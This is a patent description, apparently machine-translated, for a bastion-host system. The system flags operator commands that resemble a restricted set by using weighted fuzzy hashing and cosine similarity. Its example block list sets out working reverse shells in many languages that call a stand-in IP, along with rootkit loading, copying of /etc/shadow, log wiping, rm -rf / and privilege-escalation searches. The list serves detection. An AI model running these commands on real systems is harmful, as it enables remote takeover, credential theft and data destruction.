A method, apparatus, and electronic device for command approval in a bastion host.

Abstract

This invention discloses a method, apparatus, and electronic device for instruction approval in a bastion host, belonging to the field of network security technology. The method includes: receiving an input instruction input through the bastion host; obtaining a first fuzzy hash calculation result of the input instruction, and obtaining a second fuzzy hash calculation result for each restricted instruction in a preset set of restricted instructions; determining that the input instruction has not passed approval if at least one of the second fuzzy hash calculation results and the first fuzzy hash calculation result has a target similarity greater than or equal to a preset threshold. This invention can improve the security control capabilities of the bastion host.

Description

Technical Field

[0001] This invention belongs to the field of network security technology, and specifically relates to a method, apparatus and electronic device for command approval of a bastion host. Background Technology

[0002] When a user logs into an authorized asset through a bastion host and enters an operation command, the authorization and approval of the operation command can be triggered in the following ways according to relevant technologies:

[0003] When the user-input operation command is exactly the same as the data of a restricted operation command in the system's preset set of restricted operation commands, the authorization and approval of that operation command is triggered.

[0004] However, the set of preset restricted operation commands is a static rule, while the commands entered by the user are very flexible. The user can easily bypass the preset restricted operation commands by slightly modifying the input commands without changing the execution effect of the commands. Therefore, the security control capability of the bastion host is relatively weak. Summary of the Invention

[0005] The purpose of this invention is to provide a method, apparatus, and electronic device for approving instructions for a bastion host. The method obtains a first fuzzy hash calculation result of an input instruction and a second fuzzy hash calculation result of a restriction instruction, respectively, and obtains the similarity between the first fuzzy hash calculation result and the second fuzzy hash calculation result. If the similarity is greater than or equal to a preset threshold, the method determines that the input instruction belongs to a restriction instruction, thereby improving the security control capability of the bastion host.

[0006] To solve the above-mentioned technical problems, the present invention is implemented as follows:

[0007] In a first aspect, the present invention provides an instruction approval method for a bastion host, the method comprising:

[0008] Receive input commands from the bastion host;

[0009] Obtain the first fuzzy hash calculation result of the input instruction, and obtain the second fuzzy hash calculation result of each restriction instruction in the preset restriction instruction set;

[0010] If at least one of the second fuzzy hash calculation results has a target similarity greater than or equal to a preset threshold with respect to the first fuzzy hash calculation result, the input instruction is determined to have failed approval.

[0011] Secondly, the present invention also provides an instruction approval device for a bastion host, the device comprising:

[0012] The receiving module is used to receive input commands from the bastion host.

[0013] The first acquisition module is used to acquire the first fuzzy hash calculation result of the input instruction, and to acquire the second fuzzy hash calculation result of each restriction instruction in the preset restriction instruction set;

[0014] The first determining module is used to determine that the input instruction has not passed the approval process if there is at least one target similarity between the second fuzzy hash calculation result and the first fuzzy hash calculation result that is greater than or equal to a preset threshold.

[0015] Thirdly, the present invention also provides an electronic device including a processor, a memory, and a program or instructions stored in the memory and executable on the processor, wherein the program or instructions, when executed by the processor, implement the steps of the method described in the first aspect.

[0016] Fourthly, the present invention also provides a computer-readable storage medium on which a program or instructions are stored, which, when executed by a processor, implement the steps of the method described in the first aspect.

[0017] In this embodiment of the invention, a first fuzzy hash calculation result is used to represent the characteristics of the input instruction, and a second fuzzy hash calculation result is used to represent the characteristics of the restriction instruction. Then, by obtaining the similarity between the first and second fuzzy hash calculation results, the similarity between the input instruction and the restriction instruction can be reflected. That is, if the input instruction is an instruction that modifies the restriction instruction to achieve the same or similar function as the restriction instruction, then by judging that the similarity between the fuzzy hash calculation results of the two instructions is greater than or equal to a preset threshold, it can be determined that the input instruction and the restriction instruction meet the homology requirement, thereby determining that the input instruction has not passed the approval. This can improve the security control capability of the bastion host. Attached Figure Description

[0018] Figure 1 This is a flowchart of an instruction approval method for a bastion host provided by the present invention;

[0019] Figure 2 This is a flowchart of two other instruction approval methods for bastion hosts provided by the present invention;

[0020] Figure 3 This is a flowchart of fuzzy hash calculation in an embodiment of the present invention;

[0021] Figure 4 This is a schematic diagram of the structure of an instruction approval device for a bastion host provided by the present invention;

[0022] Figure 5 This is a structural diagram of an electronic device provided by the present invention. Detailed Implementation

[0023] The technical solutions of the embodiments of the present invention will be clearly and completely described below with reference to the accompanying drawings. Obviously, the described embodiments are only some, not all, of the embodiments of the present invention. Based on the embodiments of the present invention, all other embodiments obtained by those skilled in the art without creative effort are within the scope of protection of the present invention.

[0024] The terms "first," "second," etc., used in the specification and claims of this invention are used to distinguish similar objects and are not used to describe a specific order or sequence. It should be understood that such data can be interchanged where appropriate so that embodiments of the invention can be implemented in orders other than those illustrated or described herein, and the objects distinguished by "first," "second," etc., are generally of the same class and the number of objects is not limited; for example, the first object can be one or more.

[0025] Bastion hosts are used in cloud computing or Internet Technology (IT) infrastructure scenarios. In these scenarios, users first log in to the bastion host and then access cloud servers through the bastion host. The bastion host controls which users can log in to which assets, such as cloud servers, and records what actions are taken after logging in.

[0026] Specifically, a bastion host, also known as an operations and maintenance security audit system, has the core features of "4A", namely authentication, account management, authorization control or authorization approval, and security audit.

[0027] In this context, "authorization and approval" refers to the authorization mode. In this embodiment of the invention, it means that after logging into the cloud host through a bastion host, the user's input instructions require approval through a certain approval model mechanism, and the instructions are only allowed to be executed after approval.

[0028] In related technologies, common bastion host authorization approval models are as follows:

[0029] 1) The system has a preset set of restricted operation commands. If the data of the user's input command is exactly the same as the restricted operation command in the preset set of restricted operation commands, it is determined that the user's input command has not been approved.

[0030] 2) The regular expression corresponding to the system threshold restriction operation. If the user's input command matches the regular expression of the restriction operation, it is determined that the user's input command has not been approved.

[0031] As can be seen from the above, the relevant technologies have the following drawbacks:

[0032] For method 1) above, the set of high-risk operation commands that are usually preset is a static rule. The restricted operation input by the user on the bastion host needs to be exactly the same as the preset high-risk operation commands. Therefore, in order to cover more input test cases, the set of high-risk operation commands will be very large, which will also reduce the speed of matching and affect the matching efficiency.

[0033] For method 2) above, the matching result between the user input command and the regular expression of the restriction operation is only one of matching or not matching. In this way, the pre-configured regular expression needs to cover all the regular expressions of the restriction operation. Moreover, when the user input command is more complex, its regular expression will be particularly complex. This situation will lead to greater difficulty in maintaining the regular expression.

[0034] For methods 1) and 2) above, the input command is only considered a restricted operation command if it is completely "equal" to the preset restricted operation command or the regular expression of the restricted operation. In this way, the user only needs to modify the input command slightly to bypass the above-mentioned pre-configured set of high-risk operation commands or the regular expression of the restricted operation without changing the execution effect of the command. It can be seen that this may bypass the approval process of the bastion host and execute some restricted commands, thereby reducing the security control capability of the bastion host.

[0035] In this embodiment of the invention, fuzzy hash calculation is used to extract the features of the user-input command and the preset restricted operation command. If the similarity of the features of the two commands is greater than or equal to a preset threshold, the two commands can be considered "similar" commands, thereby determining that the input command has not passed the approval. In this way, even if the user modifies the restricted operation command without changing the execution effect of the command, it will still not bypass the approval process of the bastion host, thereby improving the security control capability of the bastion host.

[0036] It should be noted that the "instruction" in the embodiments of the present invention can also be called a "command". For example, an input instruction can be a command entered by the user, and a restriction instruction can be certain operation commands that are restricted.

[0037] To facilitate understanding of the instruction approval method, apparatus, and electronic device for bastion hosts provided by this invention, the invention is described below in conjunction with the accompanying drawings:

[0038] Please see Figure 1 The present invention provides a method for approving instructions for a bastion host, which may include the following steps:

[0039] Step 101: Receive input commands from the bastion host.

[0040] In one embodiment, the execution subject of the instruction approval method for a bastion host provided in this invention can be a bastion host or an instruction approval system including a bastion host, without specific limitations.

[0041] Step 102: Obtain the first fuzzy hash calculation result of the input instruction, and obtain the second fuzzy hash calculation result of each restriction instruction in the preset restriction instruction set.

[0042] The first fuzzy hash calculation result can reflect the characteristics of the input instruction, and the second fuzzy hash calculation result corresponds one-to-one with the restriction instruction and can reflect the characteristics of the corresponding restriction instruction.

[0043] Step 103: If there is at least one second fuzzy hash calculation result and the first fuzzy hash calculation result with a target similarity greater than or equal to a preset threshold, determine that the input instruction has not passed the approval.

[0044] In one implementation, the bastion server will intercept input commands that fail to pass approval, while approved input commands can be sent to the cloud host for execution. The cloud host can be any host that performs a specific service, and is not specifically limited here.

[0045] In another implementation, after the bastion host intercepts an input command that has not passed approval, it can send a prompt message to the approver to indicate that there is an input command that has not passed approval, or to prompt the approver to manually approve the input command that has not passed the bastion host approval. If the input command passes the manual approval, it can send the input command to the cloud host for execution.

[0046] It should be noted that the first fuzzy hash calculation result can be used to represent the characteristics of the input instruction, and the second fuzzy hash calculation result can be used to represent the characteristics of the restriction instruction. Then, by obtaining the similarity between the first fuzzy hash calculation result and the second fuzzy hash calculation result, the similarity between the input instruction and the restriction instruction can be reflected.

[0047] In other words, if an input instruction is a modification of a restriction instruction to achieve the same or similar function as the restriction instruction, then by judging that the similarity of the fuzzy hash calculation results of the two instructions is greater than or equal to a preset threshold, it can be determined that the input instruction and the restriction instruction are of the same origin, thereby determining that the input instruction has not passed the approval. This can improve the security control capability of the bastion host.

[0048] For example, assuming the preset threshold is 80%, if the target similarity between the first fuzzy hash calculation result and the second fuzzy hash calculation result is greater than or equal to 80%, it can be determined that the input instruction is similar to the restriction instruction, and thus the input instruction has not passed the approval.

[0049] As can be seen from the above, the embodiments of the present invention can improve the security control capabilities of the bastion host, and do not involve regular expressions that are difficult to maintain, thus reducing the complexity of approving input commands.

[0050] Optionally, among multiple similar restriction instructions that implement a certain restriction operation function, one typical one can be selected as the restriction instruction in the restriction instruction set.

[0051] It is worth mentioning that, based on the "similarity" comparison of the fuzzy hash calculation results, when the user inputs a modified version of a known restricted instruction, the bastion host can detect that the instruction has a certain degree of homology with the restricted instructions in the preset restricted instruction set, and thus determine that the instruction will not pass the approval.

[0052] In this embodiment, many similar restriction instructions in the preset restriction instruction set can be merged without having to cover every possible restriction instruction in actual operation. This can greatly reduce the size of the preset restriction instruction set. When determining whether an input instruction is a restriction operation instruction based on the restriction instructions in the restriction instruction set, the matching delay can be reduced and the approval speed of the input instruction can be improved.

[0053] In some implementations, a set of restriction instructions can be established based on the collected restriction information, such as restricting malicious commands, unauthorized commands, and erroneous operation commands to cloud hosts that log in through a bastion host.

[0054] Instantly, the set of restriction instructions may include the following restriction instructions:

[0055] / / Malicious command

[0056] #LD_PRELOAD=" / tmp / wqs.so" / bin / ls

[0057] #sudo insmod rootkit.ko

[0058] #sudo modprobe -r rootkit.ko

[0059] #rm-rf / --no-preserve-root

[0060] #rm -rf / var / logs

[0061] #sudo cat / etc / shadow>file

[0062] #sudo cat / etc / passwd>file

[0063] #echo“”>~ / .bash_history

[0064] #vim / etc / sudoers

[0065] / / webshell

[0066] #bash-i>& / dev / tcp / 10.0.0.1 / 4242 0>&1

[0067] #0<&196;exec 196<> / dev / tcp / 10.0.0.1 / 4242;sh<&196>&196 2>&196

[0068] # / bin / bash-l> / dev / tcp / 10.0.0.1 / 4242 0<&1 2>&1

[0069] #perl-e'useSocket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec(" / bin / sh-i");};'

[0070] #python-c'importsocket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(" / bin / sh")'

[0071] #php-r'$sock=fsockopen("10.0.0.1",4242);$proc=proc_open(" / bin / sh-i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'

[0072] #ruby-rsocket-e'f = TCPSocket.open("10.0.0.1", 4242).to_i; exec sprintf(" / bin / sh -i <&%%d >&%%d 2>&%%d", f, f, f)'

[0073] #echo 'package main; import "os / exec"; import "net"; func main() { c, _ := net.Dial("tcp", "10.0.0.1:4242"); cmd := exec.Command(" / bin / sh"); cmd.Stdin = c; cmd.Stdout = c; cmd.Stderr = c; cmd.Run()}' > / tmp / t.go && go run / tmp / t.go && rm / tmp / t.go

[0074] #rm -f / tmp / f; mkfifo / tmp / f; cat / tmp / f | / bin / sh -i 2>&1 | nc 10.0.0.1 4242 > / tmp / f

[0075] #mkfifo / tmp / s; / bin / sh -i < / tmp / s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4242 > / tmp / s; rm / tmp / s

[0076] #awk 'BEGIN { s = " / inet / tcp / 0 / 10.0.0.1 / 4242"; while(42) { do { printf "shell> " |& s; s |& getline c; if(c) { while((c |& getline) > 0) print $0 |& s; close(c);}} while(c != "exit") close(s);}}' / dev / null

[0077] / / Unauthorized access related

[0078] #cat / etc / issue

[0079] #cat / etc / *-release

[0080] #cat / etc / lsb-release

[0081] #cat / etc / redhat-release

[0082] #cat / proc / version

[0083] #ls / boot|grep vmlinuz-

[0084] #grep -C 5"password"[filename]

[0085] #find.-name"*.php"-print0|xargs-0grep-in"var$password"

[0086] #nc-lvp 4444

[0087] #nc-lvp 4445

[0088] #ssh -L 8080:127.0.0.1:80root@192.168.1.7

[0089] #ssh-R 8080:127.0.0.1:80root@192.168.1.7

[0090] #python-c'import pty;pty.spawn(" / bin / bash")'

[0091] #echo os.system(' / bin / bash')

[0092] #find / -perm-1000-type d 2> / dev / null

[0093] #find / -perm-g=s-type f 2> / dev / null

[0094] #find / -perm-u=s-type f 2> / dev / null

[0095] In some implementations, the set of restriction instructions can be expanded, such as by manually adding restriction instructions to the set, which can improve the flexibility of the set of restriction instructions.

[0096] As an optional implementation, the method further includes:

[0097] Obtain the byte weight coefficient corresponding to the target service, wherein the input instruction is an operation instruction for the target service;

[0098] Based on the byte weight coefficient, the bytes in the input instruction are repeatedly processed to obtain the first instruction;

[0099] Based on the byte weight coefficient, the bytes of each restricted instruction in the preset restricted instruction set are repeatedly operated on to obtain the second instruction corresponding to each restricted instruction;

[0100] The number of repetitions of the target byte is positively correlated with the byte weight coefficient corresponding to the target byte, and the input instruction or the restriction instruction in the preset restriction instruction set includes the target byte;

[0101] The step of obtaining the first fuzzy hash calculation result of the input instruction and the second fuzzy hash calculation result of each restricted instruction in the preset restricted instruction set includes:

[0102] Each target instruction is subjected to a fuzzy hash calculation to obtain the fuzzy hash calculation result corresponding to each target instruction, wherein the target instruction includes the first instruction and the second instruction.

[0103] In some implementations, repeating the bytes in the input instruction can be done by repeatedly copying the bytes in the input instruction according to the byte weight coefficient corresponding to that byte, so that some bytes are repeated in the first instruction. For example, assuming the input instruction includes the byte abc, where the byte weight coefficient of byte a is 6, the byte weight coefficient of byte b is 4, and the byte weight coefficient of byte c is 2, then the first instruction is aaaaaabbbbcc.

[0104] By increasing the number of repetitions of certain bytes in the first instruction, the weight of those bytes in the feature information reflected in the fuzzy hash calculation result can be increased when performing fuzzy hash calculation on the first instruction.

[0105] In some implementations, users can log in to cloud hosts for different services through a bastion host. For different services, the same byte may have different weights in the instructions of that service. In this way, by adjusting the weight coefficient of bytes in a targeted manner based on the service, the first instruction obtained by performing repeated byte operations based on the adjusted weight coefficient can increase the weight of bytes that can better reflect the target service. Thus, the feature information obtained by performing fuzzy hash calculation on the first instruction can better match the business scenario of the input instruction.

[0106] Similarly, the process, principle, and beneficial effects of repeating operations on bytes in restriction instructions are the same as those of repeating operations on bytes in input instructions, and will not be repeated here.

[0107] In this embodiment, the bytes in the input instruction and the bytes in each restriction instruction are repeatedly operated on according to the actual business, and the similarity calculation results of the fuzzy hash calculation results of the first instruction and the second instruction after the byte repetition operation are calculated, which can make the similarity calculation results more consistent with the actual business scenario.

[0108] Optionally, obtaining the byte weight coefficient corresponding to the target service includes:

[0109] Before the bastion host takes effect, obtain the instruction data of the target service;

[0110] Based on the frequency of occurrence of each byte in the instruction data, the weight coefficient of each byte in the target business scenario is determined, wherein the weight coefficient of the target byte is positively correlated with the frequency of occurrence of the target byte in the instruction data.

[0111] The weight coefficient of the target byte is positively correlated with the frequency of the target byte in the instruction data. In other words, the higher the frequency of the target byte in the instruction data, the greater its weight coefficient.

[0112] In one implementation, a learning window can be set during which the bastion host's authorization approval model is inactive. That is, during this learning window, the bastion host only collects normal instruction data under the target business scenario and does not approve the instructions. Based on the collected instruction data, the bastion host determines the frequency of each byte in the target business scenario and determines the weight coefficient of that byte based on its frequency. In other words, the higher the frequency of a byte in the instructions under the target business scenario, the greater the weight coefficient of the corresponding target business. For example, assuming that normal instructions under the target business scenario contain bytes a, b, c, d, e, f, g, h, i, and the frequencies of each byte are 30%, 20%, 10%, 10%, 10%, 5%, 5%, 5%, 5%, then the weight coefficients of each byte can be determined as 6, 4, 2, 2, 2, 1, 1, 1, 1.

[0113] Once the weight coefficients of the bytes have been learned, the authorization approval model of the bastion host can be enabled, that is, the bastion host begins to authorize and approve input commands.

[0114] In this embodiment, the commands frequently executed in different business scenarios are different. The weight coefficient of a byte is determined based on the frequency of its occurrence in the instruction data of a specific business scenario. The higher the frequency of occurrence of a byte, the greater its weight coefficient. In this way, when the bytes in the operation instruction are repeatedly operated on according to the weight coefficient of each byte in the operation instruction for the target business, the weight of the byte with high frequency of occurrence in the instruction feature information under the target business can be increased.

[0115] As an optional implementation, the step of performing fuzzy hash calculations on the target instructions to obtain the fuzzy hash calculation results corresponding to each target instruction includes:

[0116] A text-based fragmented hash algorithm is used to perform fuzzy hash calculation on the target instructions to obtain the fuzzy hash calculation results corresponding to each target instruction. The block size in the text-based fragmented hash algorithm is related to the preset minimum block size, the preset window size of the text-based fragmented hash algorithm, and the number of bytes of the target instruction.

[0117] In one implementation, it is assumed that the block ruler in the text-based fragmented hash algorithm is represented as b. init Then b init It can be determined using the following formula:

[0118]

[0119] Among them, b min The minimum block size is preset for the text-based fragmented hash algorithm; S represents the preset window size for the text-based fragmented hash algorithm; and n represents the number of bytes of the instruction input to the text-based fragmented hash algorithm.

[0120] Of course, the above formula is only one way to determine b. init In practice, other methods or formulas may also be used to determine the formula based on b. min S and n determine b init No specific limitations are specified here.

[0121] It should be noted that the above-mentioned text-based fragmented hashing algorithm (CTPH) can adopt a similar principle to the spamsum algorithm instance proposed by Jesse Kornblum.

[0122] Optionally, for the spamsum algorithm in related technologies, if most bytes are identical in order for different input files, the spamsum algorithm can perform fuzzy hash matching to calculate and evaluate the similarity of input files with the same origin. However, in this embodiment, the target similarity can be the similarity between the fuzzy hash values ​​of two instructions with shorter character lengths.

[0123] Specifically, the similarity calculation for input files with the same origin generated by the spamsum algorithm is based on weighted edit distance. For example, assuming s1 and s2 are two different hash strings calculated using the spamsum algorithm, the similarity between s1 and s2 can be calculated using the following formula:

[0124]

[0125] Where e(s1,s2) represents the edit-weighted distance; l1 represents the length of s1; l2 represents the length of s2; and S represents the window length preset by the spamsum algorithm.

[0126] It is worth noting that, in related technologies, the similarity calculation algorithm in the spamsum algorithm is only applicable to files with a size of more than 4KB, and cannot be adapted to scenarios where bastion hosts can input shorter commands.

[0127] Based on this, the target similarity in the embodiments of this application can be the cosine similarity between the first fuzzy hash calculation result and the second fuzzy hash calculation result.

[0128] As an optional implementation, the step of employing a text-based fragmented hash algorithm to perform fuzzy hash calculations on the target instructions to obtain the fuzzy hash calculation results corresponding to each target instruction includes:

[0129] Based on the preset window size and block size of the text-based fragmented hash algorithm, a rolling hash calculation is performed on the bytes in the target instruction to obtain at least one first signature. When the result of the rolling hash calculation reaches a preset trigger value, the result of the rolling hash calculation is reset to zero, and the first signature is generated.

[0130] The target signature is determined based on all the first signatures corresponding to the target instruction;

[0131] Based on the block size in the text-based fragmented hash algorithm and the target signature, the fuzzy hash calculation result corresponding to the target instruction is determined.

[0132] Specifically, after receiving the first instruction and the second instruction, rolling hash calculations can be performed on the first instruction and the second instruction respectively. For example, taking the rolling hash of the first instruction as an example, the Fowler-Noll-Vo hash algorithm can be used to perform rolling hash calculations on each byte in the first instruction. Rolling means reading the bytes in the first instruction in a rolling manner. When the hash value reaches the trigger value, a first signature corresponding to the trigger value is generated, and the hash value is reset to perform rolling hash calculations for the next block. The first signature can reflect the characteristics of the bytes in the rolling hash block. For example, assuming the window size of the hash algorithm is s, the first signature reflects the characteristics of the s adjacent bytes in the window.

[0133] There can be at least two trigger values, and each trigger value corresponds to its own first signature.

[0134] Optionally, the step of performing rolling hash calculations on the bytes in the target instruction according to the preset window size and the block size in the text-based fragmented hash algorithm to obtain at least one first signature includes:

[0135] The result of the rolling hash calculation is for b init The remainder equals b init In the case of -1, the result of the rolling hash calculation is set to zero, and the first sub-signature is generated according to the following formula:

[0136] signature1+=Base64[LSB6 of rolling hash]

[0137] The result of the rolling hash calculation is for b init The remainder equals 2 × b init In the case of -1, the result of the rolling hash calculation is set to zero, and a second sub-signature is generated according to the following formula:

[0138] signature2+=Base64[LSB6 of rolling hash]

[0139] Wherein, the first signature includes either the first sub-signature or the second sub-signature, b init The block size in the text-based fragmented hash algorithm is represented by: signature1, signature2, Base64, and LSB6.

[0140] In this embodiment, if the generated rolling hash meets the following two triggering conditions, a corresponding first signature will be generated, and the final target signature is determined based on the first signatures corresponding to all rolling hashes:

[0141] 1) If the rolling hash is for b init The remainder equals b init -1, then the first sub-signature is generated: signature1 += Base64[LSB6 of rolling hash];

[0142] 2) If the rolling hash is for b init The remainder equals 2 × b init -1 generates the second sub-signature: signature2+=Base64[LSB6 of rolling hash].

[0143] The target signature is determined based on all the first and second sub-signatures in the rolling hash of the entire instruction. For example, the target signature is represented as: signature1:signature2, where signature1 is the sum of all the first sub-signatures of the entire instruction and signature2 is the sum of all the second sub-signatures of the entire instruction.

[0144] In one implementation, the fuzzy hash calculation result can be represented as: block_size:signature1:signature2.

[0145] In this embodiment, when some bytes in the instruction are modified, it will only have a partial impact on the final target signature. That is, the target signature result can reflect the characteristics of different instructions with the same origin. In this way, even if an instruction is modified and the instruction before and after modification can achieve the same or similar functions, it can still be determined that the instruction before and after modification are similar based on the target signature.

[0146] It should be noted that the instruction approval method for bastion hosts provided in this embodiment of the invention is more suitable for instruction approval in scenarios with short character command input; however, in addition to being applied to the bastion host approval model, this method of pre-similarity matching based on fuzzy hash calculation results can also be applied to any scenario that requires matching the similarity of text.

[0147] Please see Figure 2 This is a flowchart of another instruction approval method for a bastion host mentioned in an embodiment of the present invention, such as... Figure 2As shown, the method may include the following steps:

[0148] Step 201: During the learning window, determine the byte weight coefficient based on the byte frequency.

[0149] Step 202: Obtain the set of restricted instructions, and repeat the operation on the restricted instructions in the set of restricted instructions according to the byte weight coefficient to obtain the second instruction.

[0150] Step 203: Calculate the second fuzzy hash result for the second instruction.

[0151] Step 204: The user logs into the bastion host and enters the command.

[0152] Step 205: Repeat the operation on the input instruction according to the byte weight coefficient to obtain the first instruction, and calculate the first fuzzy hash calculation result for the first instruction.

[0153] Step 206: Obtain the target similarity between the first fuzzy hash calculation result and the second fuzzy hash calculation result.

[0154] Step 207: Determine whether the target similarity is greater than or equal to a preset threshold.

[0155] If the judgment result in step 207 is "yes", then step 208 is executed; if the judgment result in step 207 is "no", then step 209 is executed.

[0156] Step 208: Trigger manual approval of the input command.

[0157] Step 209: Allow the execution of the input command.

[0158] For example: Figure 3 As shown, suppose a user inputs two commands: "bash -i>& / dev / tcp / 10.1.1.1 / 4244 0>&1" and "sudo rm -rf / home / test.txt". The fuzzy hash results for these two commands are "3:lyMva6VKMOnKB1l:lfva6VKMsKBa" and "3:stlfIXJK / dR:elFvdR". Cosine similarity matching is then performed between the fuzzy hash results of these two commands and the fuzzy hash results of each restricted command in the restricted command set.

[0159] 1) If the restricted command set contains a similar restricted command to "bash -i>& / dev / tcp / 10.0.0.1 / 4244 0>&1", for example, if the cosine similarity between the fuzzy hash result of "bash -i>& / dev / tcp / 10.1.1.1 / 4244 0>&1" (e.g., "3:lyMva6VKMOnKB1l:lfva6VKMsKBa") and the fuzzy hash result of "bash -i>& / dev / tcp / 10.0.0.1 / 4242 0>&1" (e.g., "3:lyMva6VKMnnU:lfva6VKMU") is greater than 81%, which is greater than the preset threshold of 80%, then the input command "bash -i>& / dev / tcp / 10.1.1.1 / 4244 0>&1" can be triggered. The manual approval for "0>&1" can be triggered by sending an SMS / email to an administrator for approval. Only after approval can the command "bash -i>& / dev / tcp / 10.1.1.1 / 42440>&1" be executed.

[0160] 2) If no similar command is found in the restricted command set for the user-input command "sudo rm-rf / home / test.txt", for example, if the cosine similarity between the first fuzzy hash calculation result of the user-input command and the second fuzzy hash calculation result of all restricted commands in the restricted command set is less than 80%, then manual approval will not be triggered, and the command "sudo rm-rf / home / test.txt" will be allowed to be executed.

[0161] Please see Figure 4 This is a structural diagram of an instruction approval device for a bastion host provided in an embodiment of the present invention, as shown below. Figure 4 As shown, the instruction approval device 400 for a bastion host includes:

[0162] The receiving module 401 is used to receive input commands input through the bastion host;

[0163] The first acquisition module 402 is used to acquire the first fuzzy hash calculation result of the input instruction, and to acquire the second fuzzy hash calculation result of each restriction instruction in the preset restriction instruction set;

[0164] The first determining module 403 is used to determine that the input instruction has not passed the approval if there is at least one target similarity between the second fuzzy hash calculation result and the first fuzzy hash calculation result that is greater than or equal to a preset threshold.

[0165] Optionally, the instruction approval device 400 for the bastion host also includes:

[0166] The second acquisition module is used to acquire the byte weight coefficient corresponding to the target service, wherein the input instruction is an operation instruction for the target service;

[0167] The first operation module is used to repeatedly operate on the bytes in the input instruction according to the byte weight coefficient to obtain the first instruction;

[0168] The second operation module is used to repeatedly operate on the bytes of each restriction instruction in the preset restriction instruction set according to the byte weight coefficient to obtain the second instruction corresponding to each restriction instruction.

[0169] The number of repetitions of the target byte is positively correlated with the byte weight coefficient corresponding to the target byte, and the input instruction or the restriction instruction in the preset restriction instruction set includes the target byte;

[0170] The first acquisition module 402 is specifically used for:

[0171] Each target instruction is subjected to a fuzzy hash calculation to obtain the fuzzy hash calculation result corresponding to each target instruction, wherein the target instruction includes the first instruction and the second instruction.

[0172] Optionally, the second acquisition module includes:

[0173] The acquisition unit is used to acquire the instruction data of the target service before the bastion host takes effect;

[0174] The first determining unit is used to determine the weight coefficient of each byte in the target business scenario based on the frequency of occurrence of each byte in the instruction data, wherein the weight coefficient of the target byte is positively correlated with the frequency of occurrence of the target byte in the instruction data.

[0175] Optionally, the first acquisition module 402 is further configured to:

[0176] A text-based fragmented hash algorithm is used to perform fuzzy hash calculation on the target instructions to obtain the fuzzy hash calculation results corresponding to each target instruction. The block size in the text-based fragmented hash algorithm is related to the preset minimum block size, the preset window size of the text-based fragmented hash algorithm, and the number of bytes of the target instruction.

[0177] Optionally, the first acquisition module 402 includes:

[0178] The calculation unit is configured to perform rolling hash calculation on the bytes in the target instruction according to the preset window size and the block size in the text-based fragmented hash algorithm to obtain at least one first signature, wherein, when the result of the rolling hash calculation reaches a preset trigger value, the result of the rolling hash calculation is reset to zero and the first signature is generated.

[0179] The second determining unit is used to determine the target signature based on all the first signatures corresponding to the target instruction;

[0180] The third determining unit is used to determine the fuzzy hash calculation result corresponding to the target instruction based on the block size in the text-based fragmented hash algorithm and the target signature.

[0181] Optionally, the first computing unit includes:

[0182] The first generating subunit is used to generate the result of the rolling hash calculation on b. init The remainder equals b init In the case of -1, the result of the rolling hash calculation is set to zero, and the first sub-signature is generated according to the following formula:

[0183] signature1+=Base64[LSB6 of rolling hash]

[0184] The second generating subunit is used to generate the result of the rolling hash calculation on b. init The remainder equals 2 × b init In the case of -1, the result of the rolling hash calculation is set to zero, and a second sub-signature is generated according to the following formula:

[0185] signature2+=Base64[LSB6 of rolling hash]

[0186] Wherein, the first signature includes either the first sub-signature or the second sub-signature, b init The block size in the text-based fragmented hash algorithm is represented by: signature1, signature2, Base64, and LSB6.

[0187] Optionally, the target similarity includes cosine similarity.

[0188] The instruction approval device 400 for a bastion host provided in this embodiment of the invention can achieve Figure 1 or Figure 2The various processes implemented in the method embodiments shown are capable of achieving the same beneficial effects, and will not be described again here to avoid repetition.

[0189] Optionally, such as Figure 5 As shown, this embodiment of the invention also provides an electronic device 500, including a processor 501, a memory 502, and a program or instructions stored in the memory 502 and executable on the processor 501. When the program or instructions are executed by the processor 501, they implement the following: Figure 1 or Figure 2 The various processes of the method embodiments shown can achieve the same technical effect, and will not be described again here to avoid repetition.

[0190] This invention also provides a computer-readable storage medium storing a program or instructions that, when executed by a processor, implement... Figure 1 or Figure 2 The various processes of the method embodiments shown can achieve the same technical effect, and will not be described again here to avoid repetition.

[0191] The processor is the processor in the electronic device described in the above embodiments. The readable storage medium includes computer-readable storage media, such as computer read-only memory (ROM), random access memory (RAM), magnetic disk, or optical disk.

[0192] It should be noted that, in this document, the terms "comprising," "including," or any other variations thereof are intended to cover non-exclusive inclusion, such that a process, method, article, or apparatus that comprises a list of elements includes not only those elements but also other elements not expressly listed, or elements inherent to such a process, method, article, or apparatus. Without further limitations, an element defined by the phrase "comprising one..." does not exclude the presence of other identical elements in the process, method, article, or apparatus that includes that element. Furthermore, it should be noted that the scope of the methods and apparatuses in the embodiments of the present invention is not limited to performing functions in the order shown or discussed, but may also include performing functions substantially simultaneously or in the reverse order, depending on the functions involved. For example, the described methods may be performed in a different order than described, and various steps may be added, omitted, or combined. Additionally, features described with reference to certain examples may be combined in other examples.

[0193] Through the above description of the embodiments, those skilled in the art can clearly understand that the methods of the above embodiments can be implemented by means of software plus necessary general-purpose hardware platforms. Of course, they can also be implemented by hardware, but in many cases the former is a better implementation method. Based on this understanding, the technical solution of the present invention, in essence, or the part that contributes to the prior art, can be embodied in the form of a software product. This computer software product is stored in a storage medium (such as ROM / RAM, magnetic disk, optical disk), and includes several instructions to cause a terminal (which may be a mobile phone, computer, server, air conditioner, or network device, etc.) to execute the methods described in the various embodiments of the present invention.

[0194] The embodiments of the present invention have been described above with reference to the accompanying drawings. However, the present invention is not limited to the specific embodiments described above. The specific embodiments described above are merely illustrative and not restrictive. Those skilled in the art can make many other forms under the guidance of the present invention without departing from the spirit and scope of the claims, and all of these forms are within the protection scope of the present invention.

Claims

